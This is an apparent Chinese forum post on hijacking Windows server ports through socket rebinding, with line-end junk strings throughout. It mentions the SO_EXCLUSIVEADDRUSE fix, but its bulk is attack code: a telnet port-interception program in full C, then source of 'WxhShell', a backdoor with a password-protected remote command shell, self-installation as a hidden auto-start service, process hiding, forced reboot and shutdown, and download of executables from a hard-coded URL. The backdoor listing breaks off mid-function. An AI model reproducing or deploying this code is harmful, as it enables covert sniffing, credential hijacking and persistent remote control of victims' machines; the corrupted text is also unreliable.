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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a(x[+ El  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m9#u. Q*  
U|{WtuR  
  saddr.sin_family = AF_INET; vbDw2  
:&?#~NFH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D1o 8Wo  
ni2H~{]z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 82O`<Ci  
~gI%   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t$l[ 4 R-  
Kw!`u^>  
  这意味着什么?意味着可以进行如下的攻击: mNb+V/*x3  
<i]%T~\Af)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m+OR W"o  
a P{xMB#1h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B1nb23SY T  
B{)Du :)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,Yi =s;E  
Vg:P@6s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aj(M{gFq~  
)&_{m K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zE<vFP-1v  
-\UzL:9>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X@~sIUXx9  
{E6W]Mno  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &cpRB&bf  
sv0kksj  
  #include RK rBHqh@  
  #include cLR8U1k'  
  #include e% 5!  
  #include    (a^F`#]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nz!AR$  
  int main() f{3FoN= z  
  { TUpEh Q+*  
  WORD wVersionRequested; h(G&X9*  
  DWORD ret; \GMudN  
  WSADATA wsaData; 6\::Ku4_2  
  BOOL val; dcHkb,HsO  
  SOCKADDR_IN saddr; Cs]xs9  
  SOCKADDR_IN scaddr; 0 |F (qR  
  int err; ; H:qDBH  
  SOCKET s; c#HocwP@  
  SOCKET sc; 3>L1}zyM]  
  int caddsize; L {B#x@9tQ  
  HANDLE mt; 'kx{0J?  
  DWORD tid;   !%Z1" FDm/  
  wVersionRequested = MAKEWORD( 2, 2 ); xHD!8 B)  
  err = WSAStartup( wVersionRequested, &wsaData ); .zegG=q  
  if ( err != 0 ) { \2NiI]t]  
  printf("error!WSAStartup failed!\n"); qZ1fQN1yG  
  return -1; 0 ?2#SM  
  } j<l>+., U  
  saddr.sin_family = AF_INET; E>4 \9  
   NoKYHN^*w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mY`b|cS3p$  
W]M[5p]*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <78> 6u/W%  
  saddr.sin_port = htons(23); IgFz[)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6?,r d   
  { ~)ByARao=  
  printf("error!socket failed!\n"); rzl2Oj"4  
  return -1; rtzxMCSEU  
  } Pv0+`>):  
  val = TRUE; (1Kh9w:^"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M2oKLRt)L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c!841~p(Q  
  { /,:32H  
  printf("error!setsockopt failed!\n"); 0f-gQD  
  return -1; E* lqCh  
  } @l;f';+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /1OhW>W3eH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c69C=WQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~z< ? Wh  
SnXYq 7`t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F[?t"d  
  { 7 'f>  
  ret=GetLastError(); D2?7=5DgS  
  printf("error!bind failed!\n"); g8qN+Gg  
  return -1; l7x%G@1#~W  
  } qY0Ic5wCY  
  listen(s,2); eA+6-'qN  
  while(1) 0&mz'xra  
  { Zmp ^!|=X!  
  caddsize = sizeof(scaddr); 5 |>jz `  
  //接受连接请求 G7),!Qol  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M~"K@g=Wr  
  if(sc!=INVALID_SOCKET) Gm6^BYCk  
  { ,$*IJeKx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _C*}14 "3  
  if(mt==NULL) ,>~9 2  
  { a{-}8f6  
  printf("Thread Creat Failed!\n"); |bBYJ  
  break; ZAiQofQ:2  
  } ]0O pd9  
  } /Wj9Stj5  
  CloseHandle(mt); G4=v2_]  
  } 9^aMmN&6N2  
  closesocket(s); :_?>3c}L  
  WSACleanup(); kj-S d^  
  return 0; +Uk/Zg w^  
  }   "urQUpF  
  DWORD WINAPI ClientThread(LPVOID lpParam) tZ6KU11O  
  { ^c!Hur6)  
  SOCKET ss = (SOCKET)lpParam; XGO_n{ x  
  SOCKET sc; n\P{Mc  
  unsigned char buf[4096];  oR5`-  
  SOCKADDR_IN saddr; U~T/f-CT  
  long num; ,m:MI/ )p  
  DWORD val; {WC{T2:8  
  DWORD ret; SYC_=X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7pGlbdS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0&w.QoZY(  
  saddr.sin_family = AF_INET; :ox+WY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aIm\tPbb  
  saddr.sin_port = htons(23); 2?m'Dy'JE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ND I|;   
  { ,ur_n7+LH  
  printf("error!socket failed!\n"); 1YS{; y[o  
  return -1; !J+5l&  
  } _$F I>  
  val = 100; q'1rSK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [1Vh3~>J6  
  { un..UU4  
  ret = GetLastError(); W/&cnp\  
  return -1; p'_* >%4~  
  } /gPn2e;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dpof~o,f  
  { T"dEa-O  
  ret = GetLastError(); ^Ji5)c  
  return -1; ,c7 8O8|  
  } rt."P20T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z!ub`coV[  
  { 0h#' 3z<  
  printf("error!socket connect failed!\n"); Gh@QR`xxc  
  closesocket(sc); c"fnTJXr79  
  closesocket(ss); M#2DI?S@  
  return -1; Mb+cXdZb  
  } z?+N3p9  
  while(1) A!hkofQ  
  {  DMf:u`<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :GO}G`jY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^OYar(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \f%jN1z  
  num = recv(ss,buf,4096,0); ~I!7]i]"*?  
  if(num>0) nKV1F0-  
  send(sc,buf,num,0); vu1F  
  else if(num==0) O[q {y  
  break; dx:],VB  
  num = recv(sc,buf,4096,0); r6j 3A  
  if(num>0) !R4`ihi1  
  send(ss,buf,num,0); &{"aD&  
  else if(num==0) ;JDxl-~  
  break; MT|}[|_  
  } gwT"o  
  closesocket(ss); A-4\;[P\  
  closesocket(sc); lB3W|-Ci  
  return 0 ; LiiQ;x  
  } 347p2sK>  
4WDh8U  
nV GrW#'E  
========================================================== KLlW\MF1  
*qGxQ?/  
下边附上一个代码,,WXhSHELL -Vw,9VCF  
,GGr@})  
========================================================== lS9rgq<n  
r1xN U0A  
#include "stdafx.h" V[A uw3)  
n|3ENN  
#include <stdio.h> #(!>  
#include <string.h>  lcyan  
#include <windows.h> @/XA*9]l  
#include <winsock2.h> 91e&-acA  
#include <winsvc.h> F}.<x5I-;h  
#include <urlmon.h> =A04E  
tec CU[O  
#pragma comment (lib, "Ws2_32.lib") (|"K sGl  
#pragma comment (lib, "urlmon.lib") i,Yv  
9>\s81^  
#define MAX_USER   100 // 最大客户端连接数 b=`h""u  
#define BUF_SOCK   200 // sock buffer xR\$2(  
#define KEY_BUFF   255 // 输入 buffer 05.^MU?^U  
TU7Qt<  
#define REBOOT     0   // 重启 LEWeybT  
#define SHUTDOWN   1   // 关机 ^6oz3+  
CR&v z3\Q  
#define DEF_PORT   5000 // 监听端口 -dZ7;n5&_  
.[ NB"\<q  
#define REG_LEN     16   // 注册表键长度 `/8Dmg  
#define SVC_LEN     80   // NT服务名长度 %fo+Y+t  
6Jrh'6 o@  
// 从dll定义API gI<TfcC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z$~Wr3/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K1]H~'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k*[["u^u]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =gw 'MA  
E9YR *P4$  
// wxhshell配置信息 ,QdUfM  
struct WSCFG { {-09,Q4[&  
  int ws_port;         // 监听端口 Bc`jkO.q  
  char ws_passstr[REG_LEN]; // 口令 z*"zXL C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5iwJdm  
  char ws_regname[REG_LEN]; // 注册表键名 L "P$LEk  
  char ws_svcname[REG_LEN]; // 服务名 SBg BZm}%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V*2uW2\}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D:/^TEib  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VkZrb2]v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >/Gz*.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" db'Jl^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zchs/C 9{  
M6[&od  
}; &2d^=fih  
nK)U.SZ  
// default Wxhshell configuration `rN,*kcP  
struct WSCFG wscfg={DEF_PORT, I>B-[QEC  
    "xuhuanlingzhe", |^[]Oy=  
    1, 2I* 7?`  
    "Wxhshell", yn)K1f^  
    "Wxhshell", O=?WI  
            "WxhShell Service", J 6D?$  
    "Wrsky Windows CmdShell Service", L#1Y R}m  
    "Please Input Your Password: ", wKIQK!B)mF  
  1, s=h  
  "http://www.wrsky.com/wxhshell.exe", '%vb&a!.6  
  "Wxhshell.exe" 5IE2&V  
    }; bx_`S#*N  
NiQ`,Q$B  
// 消息定义模块 waz)jEk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zui2O-L?V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I6,'o)l{_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l\I#^N  
char *msg_ws_ext="\n\rExit."; 4p\<b8(9>  
char *msg_ws_end="\n\rQuit."; *Fi`o_d9[`  
char *msg_ws_boot="\n\rReboot..."; PbvRh~n  
char *msg_ws_poff="\n\rShutdown..."; iC10|0%{  
char *msg_ws_down="\n\rSave to "; 7Ps I'1v  
FctqE/>}I  
char *msg_ws_err="\n\rErr!"; Y?a*-"  
char *msg_ws_ok="\n\rOK!"; wC+_S*M-K  
tpwMy:<Ex  
char ExeFile[MAX_PATH]; 7O^ySy"l  
int nUser = 0; x DD3Y{ K  
HANDLE handles[MAX_USER]; /g BB  
int OsIsNt; hy3j8?66  
-!f)P=S  
SERVICE_STATUS       serviceStatus; "l&=a1l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8QDs4Bv|  
U` uP^  
// 函数声明 ViIt 'WX  
int Install(void); ?5_~Kn%2  
int Uninstall(void); `$vTGkGpY  
int DownloadFile(char *sURL, SOCKET wsh); ~8L*N>Y  
int Boot(int flag); kscZ zXv  
void HideProc(void); G0 Q} 1  
int GetOsVer(void); KHV5V3q4  
int Wxhshell(SOCKET wsl); KCu@5`p  
void TalkWithClient(void *cs); 2oyTS*2u_&  
int CmdShell(SOCKET sock); kv{uf$X*ve  
int StartFromService(void); Y&!M#7/'J3  
int StartWxhshell(LPSTR lpCmdLine); [%7y !XD  
ZG:#r\a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (99P9\[p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |\;oFuCv##  
6A&e2K>A  
// 数据结构和表定义 /`McKYIP  
SERVICE_TABLE_ENTRY DispatchTable[] = ufyqfID  
{ eM Ym@~4  
{wscfg.ws_svcname, NTServiceMain}, q1}HsTnBH  
{NULL, NULL} /T1z z2l~  
};  yV[9 (  
 AV{3f`  
// 自我安装 7N9~nEU  
int Install(void) D!< [\ G  
{ [!H2i p-  
  char svExeFile[MAX_PATH]; o!!";q%DX  
  HKEY key; d$Y3 a^O|  
  strcpy(svExeFile,ExeFile); t\Pn67t  
^PA >t$  
// 如果是win9x系统,修改注册表设为自启动 x(pq!+~K  
if(!OsIsNt) { c@;$6WSG^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ilJeI@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8|*#r[x  
  RegCloseKey(key); Z^5j.d{e$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k`FCyO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); feU]a5%XZ  
  RegCloseKey(key); 5mxHOtvtWM  
  return 0; 4gbi?UAmX  
    } z(V?pHv+  
  } BNns#Q8a  
} *W aL}i(P1  
else { GO0Spf_Gh  
kzU;24"K  
// 如果是NT以上系统,安装为系统服务 U'(}emh}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `7_=2C  
if (schSCManager!=0) DID&fj9m  
{ {,EOSta  
  SC_HANDLE schService = CreateService l,AK  
  ( DY1?37h  
  schSCManager, jyQ Bx  
  wscfg.ws_svcname, ;Yo9e~  
  wscfg.ws_svcdisp, /^ *GoB  
  SERVICE_ALL_ACCESS, ]4~- z3=y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W _j`'WN/  
  SERVICE_AUTO_START, Z)}q=NjA  
  SERVICE_ERROR_NORMAL, #!V [(/  
  svExeFile, =5=D)x~  
  NULL, :aHD'K  
  NULL, 'D#iT}Vu  
  NULL, eLE9-K+  
  NULL, 4bXAA9"  
  NULL tTrUVuZ  
  ); B~z P!^m  
  if (schService!=0) oEPO0O  
  { at7|r\`?-  
  CloseServiceHandle(schService); N'hj  
  CloseServiceHandle(schSCManager); P5M+usx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zWvG];fsN  
  strcat(svExeFile,wscfg.ws_svcname); `.>5H\w0e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fq3[/'M^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wUkLe-n,dE  
  RegCloseKey(key); \bAsn89O  
  return 0; E><!Owxt/  
    } 2B&Yw  
  } 9Br2}!Ny  
  CloseServiceHandle(schSCManager); Cw;&{jY  
} rx`G* k{X  
} L-ans2?  
04-phEA2Q  
return 1; $tvGS6p>  
} [P#^nyOh(  
N!" ]e*q  
// 自我卸载 :()(P9?  
int Uninstall(void) pcw!e_"+  
{ 86d *  
  HKEY key; JHpoW}7QB  
d bU  
if(!OsIsNt) { h.0Y!'?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XvBEC_xWZ  
  RegDeleteValue(key,wscfg.ws_regname); V+M2Gf  
  RegCloseKey(key); "o#N6Qu71  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cGSoAK  
  RegDeleteValue(key,wscfg.ws_regname); +wd} '4)  
  RegCloseKey(key); ]:TX> X!  
  return 0; H -('!^  
  } R<W#.mpo6  
} etF?,^)h=g  
} \ZrLh,6f.  
else { K@xp!  
m(JFlO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xo{f"8}^  
if (schSCManager!=0) /_~b~3{u  
{ 6_/oVvd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #sit8k`GR8  
  if (schService!=0) :&$4&\_F  
  { Bm%.f!`  
  if(DeleteService(schService)!=0) {  /bA\O   
  CloseServiceHandle(schService); kf~71G+  
  CloseServiceHandle(schSCManager); js )G   
  return 0; uYjJDLYoHl  
  } =y>P>&sI  
  CloseServiceHandle(schService); 0@a6r=`el  
  } 8 OC5L1  
  CloseServiceHandle(schSCManager); ;aYPv8s~,:  
} 5r/QPJ<h  
} 6suB!XF;  
Z5~dU{XsT  
return 1; r$ue1bH}|  
} p-V#nPb  
D[{p~x^  
// 从指定url下载文件 V M[9!:  
int DownloadFile(char *sURL, SOCKET wsh) &*g5kh{  
{ S8j;oJ2 d  
  HRESULT hr; u&l2s&i  
char seps[]= "/"; EK. L>3  
char *token; }]sI?&xB  
char *file; ><iEVrpN  
char myURL[MAX_PATH]; #I9|>XE1  
char myFILE[MAX_PATH]; 6Nx TW  
dtjaQsJM^  
strcpy(myURL,sURL); 2a*1q#MpAt  
  token=strtok(myURL,seps); :0ND0A{K:  
  while(token!=NULL) ia|^>V>-  
  { %_+9y??  
    file=token; `xe[\Z2  
  token=strtok(NULL,seps); :7Mo0,Bw,  
  } RLY Ae  
k1 >%wR  
GetCurrentDirectory(MAX_PATH,myFILE); {npKdX  
strcat(myFILE, "\\"); aA%$<ItH  
strcat(myFILE, file); >rlQY>5pH  
  send(wsh,myFILE,strlen(myFILE),0); "%ag^v9  
send(wsh,"...",3,0); f ;|[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y">tfLIL_  
  if(hr==S_OK) |w[}\#2  
return 0; R@>R@V>c  
else ;nj'C1  
return 1; #Q6wv/"Ub  
S6}_Z  
} S}e*~^1J  
Wf_aEW&n  
// 系统电源模块 /6F 1=O(c>  
int Boot(int flag) @FkNT~OZ  
{ If6wkY6sR  
  HANDLE hToken; YkPz ~;  
  TOKEN_PRIVILEGES tkp; Y'/`?CK  
.^#{rk  
  if(OsIsNt) { [.<nt:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $Z 10Zf=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `6j?2plZ  
    tkp.PrivilegeCount = 1; 3f's>+,#%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /@FB;`'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5`oor86  
if(flag==REBOOT) { k}>l+_*+7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 05*_h0}  
  return 0; 'DsfKR^ s  
} z1!ya#,$  
else { 8q7KqYu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <)Kjf/x  
  return 0; < Q\`2{  
} _1y|#o  
  } 2EE/xnwX  
  else { F)e*w:D  
if(flag==REBOOT) { "+nURdicO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hv*n";V   
  return 0; oZ6xHdPc4  
} f;u;hQxs  
else { ScGmft3A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Lz)SYd  
  return 0; qCgP8U/jv  
} z('93vsO  
} nS?HH6H  
?RWd"JTGue  
return 1; uNXh"?  
} +6<MK;  
LDV{#5J  
// win9x进程隐藏模块 \07Vh6cj  
void HideProc(void) }J`{g/  
{ +Q-~~v7,  
(~Zg\(5#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EUuMSDp  
  if ( hKernel != NULL ) 2SG|]=  
  { ^0{S!fs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m_rRe\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .e.vh:Sz  
    FreeLibrary(hKernel); qx0o,oZN!  
  } N0 ?O*a  
'Iyk`=R  
return; .v1rrH?  
} rLL;NTN+/  
]v_xEH}T  
// 获取操作系统版本 MW*}+ PCY  
int GetOsVer(void) iXl1S[.l  
{ m}uF&|5  
  OSVERSIONINFO winfo; l'16B^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =j;o, J:(  
  GetVersionEx(&winfo); /u:Sn=SPd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AU'{aC+p  
  return 1; K&|zWpb  
  else &<UOi@  
  return 0; I}:>M!w  
} m(OBk;S~   
k}T~N.0  
// 客户端句柄模块 kIW Q`)'  
int Wxhshell(SOCKET wsl) M!X@-t#  
{ UO:>^,(j  
  SOCKET wsh; BM&'3K_y  
  struct sockaddr_in client; Q ;k_q3  
  DWORD myID; v?LJ_>hw*T  
=?*V3e3{  
  while(nUser<MAX_USER) 3J,/bgL5  
{ *c3 o&-ke9  
  int nSize=sizeof(client); M$&>"%Oi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :cynZab  
  if(wsh==INVALID_SOCKET) return 1; '!1lK  
["L?t ^*G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R*yB);p  
if(handles[nUser]==0) K4R jGSaF  
  closesocket(wsh); ;( 2uQ#Y  
else V;:A&  
  nUser++; b/5~VY*T  
  } tQl=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q0c)pxD%`  
uwQ4RYz  
  return 0; ,MvvW{EY  
} MPL2#YU/a  
1}ToR=  
// 关闭 socket \'p7,F{:>5  
void CloseIt(SOCKET wsh) W}=2?vHV=  
{ hR`dRbBi%  
closesocket(wsh); R>0ta  Q  
nUser--; ?1412Tq5  
ExitThread(0); +M.|D,wg2  
} *@BBlkcx  
(Q&z1XK3  
// 客户端请求句柄 /:USpuu  
void TalkWithClient(void *cs) [FCNW0NV  
{ Bf* F ^  
SfR!q4b=  
  SOCKET wsh=(SOCKET)cs; )7`~U"r  
  char pwd[SVC_LEN]; 0>?mF]M  
  char cmd[KEY_BUFF]; ~~fL`"  
char chr[1]; ?b7vc^E&  
int i,j; gTQ6B,`/8  
Xs?>6i@$$  
  while (nUser < MAX_USER) { U NAuF8>K  
<kM%z{p  
if(wscfg.ws_passstr) { ]D]K_`!K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eb8_guZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b~~}(^Bg  
  //ZeroMemory(pwd,KEY_BUFF); 0WPxzmY  
      i=0; 4OIN@n*4  
  while(i<SVC_LEN) { 8'quQCx*=  
7SM/bJ-M#  
  // 设置超时 Uis P 8/k  
  fd_set FdRead; X>B/DT  
  struct timeval TimeOut; Ebk@x=E  
  FD_ZERO(&FdRead); pucHB<R@bL  
  FD_SET(wsh,&FdRead); V('b|gsEo  
  TimeOut.tv_sec=8; 0ib 6}L%  
  TimeOut.tv_usec=0; Pb`sn5;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #,9|Hr%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bQ4 }no0  
=1JRu[&]8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o. _^  
  pwd=chr[0]; So 5{E 4[  
  if(chr[0]==0xd || chr[0]==0xa) { c ~C W-%wN  
  pwd=0; i'u;"ot=  
  break; 7xcYM  
  } qqAsh]Z  
  i++; GkO6r'MVE  
    } L7b{H2 2  
@Uu\x~3y  
  // 如果是非法用户,关闭 socket }v!6BU6<Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0qZ)$ YKq  
} hPH7(f|c{g  
GJ$,@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g-s@m}[T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V:+bq`  
0CR;t`M@  
while(1) { ;|%r!!#-t  
I"!{HnSG`  
  ZeroMemory(cmd,KEY_BUFF);  (M=Br  
uXC?fMWp.  
      // 自动支持客户端 telnet标准   JQCwI`%i  
  j=0; ) jvkwC  
  while(j<KEY_BUFF) { RAxz+1JT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &sWyh[`P  
  cmd[j]=chr[0]; PLyu1{1" z  
  if(chr[0]==0xa || chr[0]==0xd) { _aGdC8%[  
  cmd[j]=0; WI9.?(5q  
  break; 7lpVK]  
  } u rOGOa$  
  j++; 9..k/cH  
    } a]k&$  
{3R ax5Ty  
  // 下载文件 ^/uGcz|.  
  if(strstr(cmd,"http://")) { Rb0{t[IU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tvUvd(8 w  
  if(DownloadFile(cmd,wsh))  R pbl)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oGqv,[$qN  
  else _7<U[63  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :6 fQE#(s&  
  } QUDVsN#  
  else { Ss:,#|   
?uN(" I  
    switch(cmd[0]) { )-{~7@yqZ  
  a8 1%M  
  // 帮助 @rMW_7[y  
  case '?': { 9|`@czw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #j JcgR<  
    break; YMd&+J`  
  } ?Sqm`)\>4  
  // 安装 ["M >  
  case 'i': { ("6W.i>  
    if(Install()) H-W) Tq_?-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m0"\3@kB  
    else 6T s`5$e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bM-Rj1#Lo  
    break; :I('xVNPz  
    } /z5lxS@#  
  // 卸载 (`u!/  
  case 'r': { B`aAvD`7  
    if(Uninstall()) %},gE[N!J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;mIu#u  
    else o0L#39`' g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A]9JbNV  
    break; bAiw]xi  
    } j1 <1D@UO  
  // 显示 wxhshell 所在路径 {p 0'Lc<3n  
  case 'p': { B>ZPn6?y  
    char svExeFile[MAX_PATH]; A& F4;>dms  
    strcpy(svExeFile,"\n\r"); 3Y-v1.^j  
      strcat(svExeFile,ExeFile); H~i],WD  
        send(wsh,svExeFile,strlen(svExeFile),0); f zO8by  
    break; -#6*T,f0P(  
    } ];;w/$zke  
  // 重启 ([*t.  
  case 'b': { Ji[g@#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g-FZel   
    if(Boot(REBOOT)) Ak Tw?v'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H\mVK!](D  
    else { D 8Rmxq!  
    closesocket(wsh); @W8}N|jek  
    ExitThread(0); ai4^NJn  
    } a`*WpP\+  
    break; :$aW@?zAY  
    } [r8 d+  
  // 关机 MF}Lv1/[-J  
  case 'd': { >EtP^Lu~f_  
